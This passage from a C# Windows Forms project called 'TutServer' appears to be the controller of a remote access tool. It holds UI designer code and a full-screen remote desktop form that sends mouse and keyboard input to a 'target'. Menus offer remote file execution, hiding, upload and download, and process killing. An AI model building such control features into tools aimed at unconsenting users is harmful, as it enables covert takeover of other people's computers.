((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); 2124 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); 2125 | this.tabPage12.ResumeLayout(false); 2126 | this.tabPage12.PerformLayout(); 2127 | this.tabPage13.ResumeLayout(false); 2128 | this.tabPage13.PerformLayout(); 2129 | this.tabPage14.ResumeLayout(false); 2130 | this.tabPage14.PerformLayout(); 2131 | this.tabPage15.ResumeLayout(false); 2132 | this.tabPage15.PerformLayout(); 2133 | this.ResumeLayout(false); 2134 | 2135 | } 2136 | 2137 | #endregion 2138 | 2139 | private System.Windows.Forms.TabControl tabControl1; 2140 | private System.Windows.Forms.TabPage tabPage1; 2141 | private System.Windows.Forms.Label label2; 2142 | private System.Windows.Forms.Button button2; 2143 | private System.Windows.Forms.ListView listView1; 2144 | private System.Windows.Forms.ColumnHeader columnHeader1; 2145 | private System.Windows.Forms.ColumnHeader columnHeader2; 2146 | private System.Windows.Forms.ColumnHeader columnHeader3; 2147 | private System.Windows.Forms.ColumnHeader columnHeader4; 2148 | private System.Windows.Forms.ColumnHeader columnHeader5; 2149 | private System.Windows.Forms.Button button1; 2150 | private System.Windows.Forms.Label label1; 2151 | private System.Windows.Forms.TabPage tabPage2; 2152 | private System.Windows.Forms.Button button6; 2153 | private System.Windows.Forms.Label label12; 2154 | private System.Windows.Forms.RichTextBox richTextBox1; 2155 | private System.Windows.Forms.Label label11; 2156 | private System.Windows.Forms.Button button5; 2157 | private System.Windows.Forms.ComboBox comboBox3; 2158 | private System.Windows.Forms.Label label10; 2159 | private System.Windows.Forms.Button button4; 2160 | private System.Windows.Forms.Button button3; 2161 | private System.Windows.Forms.TextBox textBox3; 2162 | private System.Windows.Forms.Label label9; 2163 | private System.Windows.Forms.Label label8; 2164 | private System.Windows.Forms.Label label7; 2165 | private System.Windows.Forms.Label label6; 2166 | private System.Windows.Forms.Label label5; 2167 | private System.Windows.Forms.Label label4; 2168 | private System.Windows.Forms.ComboBox comboBox2; 2169 | private System.Windows.Forms.ComboBox comboBox1; 2170 | private System.Windows.Forms.TextBox textBox2; 2171 | private System.Windows.Forms.TextBox textBox1; 2172 | private System.Windows.Forms.Label label3; 2173 | private System.Windows.Forms.TabPage tabPage3; 2174 | private System.Windows.Forms.Button button13; 2175 | private System.Windows.Forms.Button button12; 2176 | private System.Windows.Forms.Label label14; 2177 | private System.Windows.Forms.Button button11; 2178 | private System.Windows.Forms.Button button10; 2179 | private System.Windows.Forms.Button button9; 2180 | private System.Windows.Forms.Button button8; 2181 | private System.Windows.Forms.Button button7; 2182 | private System.Windows.Forms.Label label13; 2183 | private System.Windows.Forms.TabPage tabPage4; 2184 | private System.Windows.Forms.Button button14; 2185 | private System.Windows.Forms.ComboBox comboBox4; 2186 | private System.Windows.Forms.TextBox textBox4; 2187 | private System.Windows.Forms.Label label17; 2188 | private System.Windows.Forms.Label label16; 2189 | private System.Windows.Forms.Label label15; 2190 | private System.Windows.Forms.ListView listView2; 2191 | private System.Windows.Forms.ColumnHeader columnHeader6; 2192 | private System.Windows.Forms.ColumnHeader columnHeader7; 2193 | private System.Windows.Forms.ColumnHeader columnHeader8; 2194 | private System.Windows.Forms.ColumnHeader columnHeader9; 2195 | private System.Windows.Forms.ColumnHeader columnHeader10; 2196 | private System.Windows.Forms.ColumnHeader columnHeader11; 2197 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; 2198 | private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem; 2199 | private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem1; 2200 | private System.Windows.Forms.TabPage tabPage5; 2201 | private System.Windows.Forms.TextBox textBox5; 2202 | private System.Windows.Forms.RichTextBox richTextBox2; 2203 | private System.Windows.Forms.Button button15; 2204 | private System.Windows.Forms.TabPage tabPage6; 2205 | private System.Windows.Forms.ListView listView3; 2206 | private System.Windows.Forms.ColumnHeader columnHeader12; 2207 | private System.Windows.Forms.ColumnHeader columnHeader13; 2208 | private System.Windows.Forms.ColumnHeader columnHeader14; 2209 | private System.Windows.Forms.ColumnHeader columnHeader15; 2210 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip3; 2211 | private System.Windows.Forms.ToolStripMenuItem listDrivesToolStripMenuItem; 2212 | private System.Windows.Forms.ToolStripMenuItem enterDirectoryToolStripMenuItem; 2213 | private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; 2214 | private System.Windows.Forms.ToolStripMenuItem moveToolStripMenuItem; 2215 | private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem; 2216 | private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; 2217 | private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem; 2218 | private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem; 2219 | private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem; 2220 | private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem; 2221 | private System.Windows.Forms.ToolStripMenuItem attributesToolStripMenuItem; 2222 | private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem; 2223 | private System.Windows.Forms.ToolStripMenuItem showToolStripMenuItem; 2224 | private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem; 2225 | private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; 2226 | private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem; 2227 | private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem; 2228 | private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem; 2229 | private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem; 2230 | private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem; 2231 | private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem1; 2232 | private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem1; 2233 | private System.Windows.Forms.TabPage tabPage7; 2234 | private System.Windows.Forms.Button button19; 2235 | private System.Windows.Forms.Button button18; 2236 | private System.Windows.Forms.Button button17; 2237 | private System.Windows.Forms.Button button16; 2238 | private System.Windows.Forms.RichTextBox richTextBox3; 2239 | private System.Windows.Forms.TabPage tabPage8; 2240 | private System.Windows.Forms.Button btnFullScreenMode; 2241 | public System.Windows.Forms.CheckBox checkBoxrKeyboard; 2242 | public System.Windows.Forms.CheckBox checkBoxrMouse; 2243 | private System.Windows.Forms.Button button22; 2244 | private System.Windows.Forms.Button button21; 2245 | private System.Windows.Forms.PictureBox pictureBox1; 2246 | private System.Windows.Forms.TabPage tabPage9; 2247 | private System.Windows.Forms.Button button24; 2248 | private System.Windows.Forms.ListView listView4; 2249 | private System.Windows.Forms.ColumnHeader columnHeader16; 2250 | private System.Windows.Forms.ColumnHeader columnHeader17; 2251 | private System.Windows.Forms.Button button25; 2252 | private System.Windows.Forms.TabPage tabPage10; 2253 | private System.Windows.Forms.Button button27; 2254 | private System.Windows.Forms.Button button26; 2255 | private System.Windows.Forms.ListView listView5; 2256 | private System.Windows.Forms.ColumnHeader columnHeader18; 2257 | private System.Windows.Forms.ColumnHeader columnHeader19; 2258 | private System.Windows.Forms.PictureBox pictureBox2; 2259 | private System.Windows.Forms.TabPage tabPage11; 2260 | private System.Windows.Forms.GroupBox groupBox1; 2261 | private System.Windows.Forms.Label label21; 2262 | private System.Windows.Forms.Label label20; 2263 | private System.Windows.Forms.Label label19; 2264 | private System.Windows.Forms.Label label18; 2265 | private System.Windows.Forms.Button button30; 2266 | private System.Windows.Forms.Button button29; 2267 | private System.Windows.Forms.Button button28; 2268 | private System.Windows.Forms.GroupBox groupBox2; 2269 | private System.Windows.Forms.CheckBox checkBox3; 2270 | private System.Windows.Forms.Label label25; 2271 | private System.Windows.Forms.Label label26; 2272 | private System.Windows.Forms.Label label22; 2273 | private System.Windows.Forms.NumericUpDown numericUpDown2; 2274 | private System.Windows.Forms.ComboBox comboBox5; 2275 | private System.Windows.Forms.NumericUpDown numericUpDown1; 2276 | private System.Windows.Forms.TextBox textBox6; 2277 | private System.Windows.Forms.NumericUpDown numericUpDown4; 2278 | private System.Windows.Forms.NumericUpDown numericUpDown3; 2279 | private System.Windows.Forms.TabPage tabPage12; 2280 | private System.Windows.Forms.Button button32; 2281 | private System.Windows.Forms.Button button31; 2282 | private System.Windows.Forms.Label label23; 2283 | private System.Windows.Forms.ListView listView6; 2284 | private System.Windows.Forms.ColumnHeader columnHeader20; 2285 | private System.Windows.Forms.ColumnHeader columnHeader21; 2286 | private System.Windows.Forms.ColumnHeader columnHeader22; 2287 | private System.Windows.Forms.Label label24; 2288 | private System.Windows.Forms.TabPage tabPage13; 2289 | private System.Windows.Forms.Button button33; 2290 | private System.Windows.Forms.Label label27; 2291 | private System.Windows.Forms.TabPage tabPage14; 2292 | private System.Windows.Forms.Button button34; 2293 | private System.Windows.Forms.Label label28; 2294 | private System.Windows.Forms.TabPage tabPage15; 2295 | private System.Windows.Forms.Button button37; 2296 | private System.Windows.Forms.Button button36; 2297 | private System.Windows.Forms.Button button35; 2298 | private System.Windows.Forms.ComboBox comboBox6; 2299 | private System.Windows.Forms.Label label33; 2300 | private System.Windows.Forms.Label label32; 2301 | private System.Windows.Forms.Label label31; 2302 | private System.Windows.Forms.Label label30; 2303 | private System.Windows.Forms.Label label29; 2304 | private System.Windows.Forms.ListBox listBox1; 2305 | private System.Windows.Forms.Button button38; 2306 | public System.Windows.Forms.Label lblQualityShow; 2307 | private System.Windows.Forms.Label lblChooseScreen; 2308 | private System.Windows.Forms.ComboBox cmboChooseScreen; 2309 | private System.Windows.Forms.Button btnCountScreens; 2310 | private System.Windows.Forms.Button btnStartTaskManager; 2311 | private System.Windows.Forms.TextBox txtBControlKeyboard; 2312 | private System.Windows.Forms.Label label34; 2313 | public System.Windows.Forms.TrackBar trackBar1; 2314 | private System.Windows.Forms.Button button23; 2315 | private System.Windows.Forms.ComboBox comboBox7; 2316 | private System.Windows.Forms.Label label35; 2317 | private System.Windows.Forms.Button button20; 2318 | private System.Windows.Forms.ProgressBar progressBar1; 2319 | private System.Windows.Forms.Label label36; 2320 | private System.Windows.Forms.Button button39; 2321 | } 2322 | } 2323 | 2324 | -------------------------------------------------------------------------------- /TutServer/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 172, 17 122 | 123 | 124 | 327, 17 125 | 126 | -------------------------------------------------------------------------------- /TutServer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace TutServer 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /TutServer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TutServer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TutServer")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("8dc7d5f0-adf5-49f0-a539-d96e1e934067")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /TutServer/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace TutServer.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("TutServer.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /TutServer/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /TutServer/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace TutServer.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /TutServer/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /TutServer/RDesktop.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace TutServer 2 | { 3 | partial class RDesktop 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | this.pictureBox1 = new System.Windows.Forms.PictureBox(); 33 | this.closeWindowToolStripMenuItem1 = new System.Windows.Forms.ContextMenuStrip(this.components); 34 | this.closeWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 35 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); 36 | this.closeWindowToolStripMenuItem1.SuspendLayout(); 37 | this.SuspendLayout(); 38 | // 39 | // pictureBox1 40 | // 41 | this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; 42 | this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; 43 | this.pictureBox1.Location = new System.Drawing.Point(0, 0); 44 | this.pictureBox1.Name = "pictureBox1"; 45 | this.pictureBox1.Size = new System.Drawing.Size(284, 262); 46 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; 47 | this.pictureBox1.TabIndex = 0; 48 | this.pictureBox1.TabStop = false; 49 | this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown); 50 | this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove); 51 | this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp); 52 | // 53 | // closeWindowToolStripMenuItem1 54 | // 55 | this.closeWindowToolStripMenuItem1.BackColor = System.Drawing.Color.Red; 56 | this.closeWindowToolStripMenuItem1.Font = new System.Drawing.Font("Segoe UI", 20.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 57 | this.closeWindowToolStripMenuItem1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 58 | this.closeWindowToolStripMenuItem}); 59 | this.closeWindowToolStripMenuItem1.Name = "contextMenuStrip1"; 60 | this.closeWindowToolStripMenuItem1.Size = new System.Drawing.Size(278, 46); 61 | // 62 | // closeWindowToolStripMenuItem 63 | // 64 | this.closeWindowToolStripMenuItem.Name = "closeWindowToolStripMenuItem"; 65 | this.closeWindowToolStripMenuItem.Size = new System.Drawing.Size(277, 42); 66 | this.closeWindowToolStripMenuItem.Text = "Close Window"; 67 | this.closeWindowToolStripMenuItem.Click += new System.EventHandler(this.closeWindowToolStripMenuItem_Click); 68 | // 69 | // RDesktop 70 | // 71 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 72 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 73 | this.ClientSize = new System.Drawing.Size(284, 262); 74 | this.Controls.Add(this.pictureBox1); 75 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; 76 | this.Name = "RDesktop"; 77 | this.Text = "RDesktop FullScreen"; 78 | this.WindowState = System.Windows.Forms.FormWindowState.Maximized; 79 | this.Shown += new System.EventHandler(this.RDesktop_Shown); 80 | this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.RDesktop_KeyDown); 81 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); 82 | this.closeWindowToolStripMenuItem1.ResumeLayout(false); 83 | this.ResumeLayout(false); 84 | 85 | } 86 | 87 | #endregion 88 | 89 | private System.Windows.Forms.PictureBox pictureBox1; 90 | private System.Windows.Forms.ContextMenuStrip closeWindowToolStripMenuItem1; 91 | private System.Windows.Forms.ToolStripMenuItem closeWindowToolStripMenuItem; 92 | } 93 | } -------------------------------------------------------------------------------- /TutServer/RDesktop.cs: -------------------------------------------------------------------------------- 1 | using System; //Fo basic system functions 2 | using System.Drawing; //For form graphics 3 | using System.Threading.Tasks; //For Tasks (they are similar to threads) 4 | using System.Windows.Forms; //For form intercation and controls 5 | 6 | #pragma warning disable IDE1006 7 | 8 | namespace TutServer //The application namespace 9 | { 10 | /// 11 | /// The main form for handling full screen remote desktop control 12 | /// 13 | public partial class RDesktop : Form 14 | { 15 | #region Global Variables 16 | 17 | /// 18 | /// Main Form reference 19 | /// 20 | Form parent = Application.OpenForms["Form1"]; 21 | /// 22 | /// The frame sent by the client 23 | /// 24 | public Bitmap image; 25 | /// 26 | /// FPS Update rate 27 | /// 28 | private int FPS = 80; 29 | /// 30 | /// Mouse movement flag 31 | /// 32 | private bool mouseMovement = true; 33 | 34 | #endregion 35 | 36 | #region Form and Remote Desktop Functions 37 | 38 | /// 39 | /// Create a new full screen remote desktop controller 40 | /// 41 | public RDesktop() 42 | { 43 | InitializeComponent(); //Init the controls 44 | 45 | ScreenFPS(); //Set the FPS rate 46 | 47 | MessageBox.Show("Press the (Esc) Key to Exit this Function " , "Information" ,MessageBoxButtons.OK ,MessageBoxIcon.Information); //Notify the user 48 | } 49 | 50 | /// 51 | /// Handles remote mouse button clicks 52 | /// 53 | /// The sender of the event 54 | /// The event args 55 | private void pictureBox1_MouseDown(object sender, MouseEventArgs e) 56 | { 57 | if (Form1.rmouse == 1) //If remote mouse is enabled 58 | { 59 | if (e.Button == MouseButtons.Left) //If left button is clicked 60 | { 61 | 62 | ((Form1)parent).SendToTarget("rclick-left-down"); //Send command to client 63 | } 64 | else //Right button is clicked 65 | { 66 | ((Form1)parent).SendToTarget("rclick-right-down"); //Send command to client 67 | } 68 | } 69 | } 70 | 71 | /// 72 | /// Handles remote mouse button clicks 73 | /// 74 | /// The sender of the event 75 | /// The event args 76 | private void pictureBox1_MouseUp(object sender, MouseEventArgs e) 77 | { 78 | if (Form1.rmouse == 1) //If remote mouse control is enabled 79 | { 80 | if (e.Button == MouseButtons.Left) //The left button is pressed 81 | { 82 | ((Form1)parent).SendToTarget("rclick-left-up"); //Send command to client 83 | } 84 | else //Right button is pressed 85 | { 86 | ((Form1)parent).SendToTarget("rclick-right-up"); //Send command to client 87 | } 88 | } 89 | } 90 | 91 | /// 92 | /// Handles remote mouse movement 93 | /// 94 | /// The sender of the event 95 | /// The event args 96 | private async void pictureBox1_MouseMove(object sender, MouseEventArgs e) 97 | { 98 | if (mouseMovement == true) //if mouse movement is enabled 99 | { 100 | Rectangle scr = Screen.PrimaryScreen.WorkingArea; //Get the screen size 101 | 102 | if (Form1.IsRdFull) //If we are in full screen mode 103 | { 104 | scr = pictureBox1.DisplayRectangle; //Get the size of the pictureBox 105 | } 106 | 107 | try //Try 108 | { 109 | int mx = (e.X * Form1.resx) / scr.Width; //Calculate the remote mouse position X 110 | int my = (e.Y * Form1.resy) / scr.Height; //Calcualte the remote mouse position Y 111 | 112 | if (Form1.rmouse == 1) //If remoute mouse if enabled 113 | { 114 | if (Form1.plx != e.X || Form1.ply != e.Y) //The mouse moved after the last move 115 | { 116 | ((Form1)parent).SendToTarget("rmove-" + mx + ":" + my); //Send command to client 117 | Form1.plx = e.X; //Store last X position 118 | Form1.ply = e.Y; //Store last Y position 119 | 120 | mouseMovement = false; //Disable mouse movement 121 | } 122 | //Wait for 200 ms 123 | await Task.Delay(200); //this should stop the spammings of send commands -move the coursor very slowly and it will lockup so i added this 124 | //Re enable mouse movements 125 | mouseMovement = true; //and this switch ,cant send again for 200 ms - it works perfectly i am happy with it :-) 126 | } 127 | } 128 | catch (Exception) //Something went wrong 129 | { 130 | //Do nothing 131 | } 132 | } 133 | } 134 | 135 | /// 136 | /// Handles remote kexboard 137 | /// 138 | /// The sender of the event 139 | /// The event args 140 | private void RDesktop_KeyDown(object sender, KeyEventArgs e) 141 | { 142 | if (e.KeyCode == Keys.Escape) //If escape is pressed 143 | { 144 | closeWindowToolStripMenuItem1.Show(); //Open this CMS 145 | } 146 | 147 | if (Form1.rkeyboard == 1) //If remote keyboard is enabled 148 | { 149 | string keysToSend = ""; //Declare the keys to send 150 | 151 | //Append the modifier keys 152 | if (e.Shift) 153 | keysToSend += "+"; 154 | if (e.Alt) 155 | keysToSend += "%"; 156 | if (e.Control) 157 | keysToSend += "^"; 158 | 159 | if (Console.CapsLock == true) //Caps Lock enabled 160 | { 161 | if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in this range 162 | { 163 | keysToSend += e.KeyCode.ToString().ToLower(); //Send the key in lowercase 164 | } 165 | } 166 | 167 | if (Console.CapsLock == false) //If Caps Lock is disabled 168 | { 169 | if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in range 170 | { 171 | keysToSend += e.KeyCode.ToString().ToUpper(); //Send the key in upper case 172 | } 173 | 174 | } 175 | 176 | //Handle special keys 177 | 178 | if (e.KeyCode.ToString().Equals("Back")) 179 | keysToSend += "{BS}"; 180 | else if (e.KeyCode.ToString().Equals("Pause")) 181 | keysToSend += "{BREAK}"; 182 | else if (e.KeyCode.ToString().Equals("Capital")) 183 | keysToSend += "{CAPSLOCK}"; 184 | else if (e.KeyCode.ToString().Equals("Space")) 185 | keysToSend += " "; 186 | else if (e.KeyCode.ToString().Equals("Home")) 187 | keysToSend += "{HOME}"; 188 | else if (e.KeyCode.ToString().Equals("Return")) 189 | keysToSend += "{ENTER}"; 190 | else if (e.KeyCode.ToString().Equals("End")) 191 | keysToSend += "{END}"; 192 | else if (e.KeyCode.ToString().Equals("Tab")) 193 | keysToSend += "{TAB}"; 194 | else if (e.KeyCode.ToString().Equals("Escape")) 195 | keysToSend += "{ESC}"; 196 | else if (e.KeyCode.ToString().Equals("Insert")) 197 | keysToSend += "{INS}"; 198 | else if (e.KeyCode.ToString().Equals("Up")) 199 | keysToSend += "{UP}"; 200 | else if (e.KeyCode.ToString().Equals("Down")) 201 | keysToSend += "{DOWN}"; 202 | else if (e.KeyCode.ToString().Equals("Left")) 203 | keysToSend += "{LEFT}"; 204 | else if (e.KeyCode.ToString().Equals("Right")) 205 | keysToSend += "{RIGHT}"; 206 | else if (e.KeyCode.ToString().Equals("PageUp")) 207 | keysToSend += "{PGUP}"; 208 | else if (e.KeyCode.ToString().Equals("Next")) 209 | keysToSend += "{PGDN}"; 210 | else if (e.KeyCode.ToString().Equals("Tab")) 211 | keysToSend += "{TAB}"; 212 | else if (e.KeyCode.ToString().Equals("D1")) 213 | keysToSend += "1"; 214 | else if (e.KeyCode.ToString().Equals("D2")) 215 | keysToSend += "2"; 216 | else if (e.KeyCode.ToString().Equals("D3")) 217 | keysToSend += "3"; 218 | else if (e.KeyCode.ToString().Equals("D4")) 219 | keysToSend += "4"; 220 | else if (e.KeyCode.ToString().Equals("D5")) 221 | keysToSend += "5"; 222 | else if (e.KeyCode.ToString().Equals("D6")) 223 | keysToSend += "6"; 224 | else if (e.KeyCode.ToString().Equals("D7")) 225 | keysToSend += "7"; 226 | else if (e.KeyCode.ToString().Equals("D8")) 227 | keysToSend += "8"; 228 | else if (e.KeyCode.ToString().Equals("D9")) 229 | keysToSend += "9"; 230 | else if (e.KeyCode.ToString().Equals("D0")) 231 | keysToSend += "0"; 232 | else if (e.KeyCode.ToString().Equals("F1")) 233 | keysToSend += "{F1}"; 234 | else if (e.KeyCode.ToString().Equals("F2")) 235 | keysToSend += "{F2}"; 236 | else if (e.KeyCode.ToString().Equals("F3")) 237 | keysToSend += "{F3}"; 238 | else if (e.KeyCode.ToString().Equals("F4")) 239 | keysToSend += "{F4}"; 240 | else if (e.KeyCode.ToString().Equals("F5")) 241 | keysToSend += "{F5}"; 242 | else if (e.KeyCode.ToString().Equals("F6")) 243 | keysToSend += "{F6}"; 244 | else if (e.KeyCode.ToString().Equals("F7")) 245 | keysToSend += "{F7}"; 246 | else if (e.KeyCode.ToString().Equals("F8")) 247 | keysToSend += "{F8}"; 248 | else if (e.KeyCode.ToString().Equals("F9")) 249 | keysToSend += "{F9}"; 250 | else if (e.KeyCode.ToString().Equals("F10")) 251 | keysToSend += "{F10}"; 252 | else if (e.KeyCode.ToString().Equals("F11")) 253 | 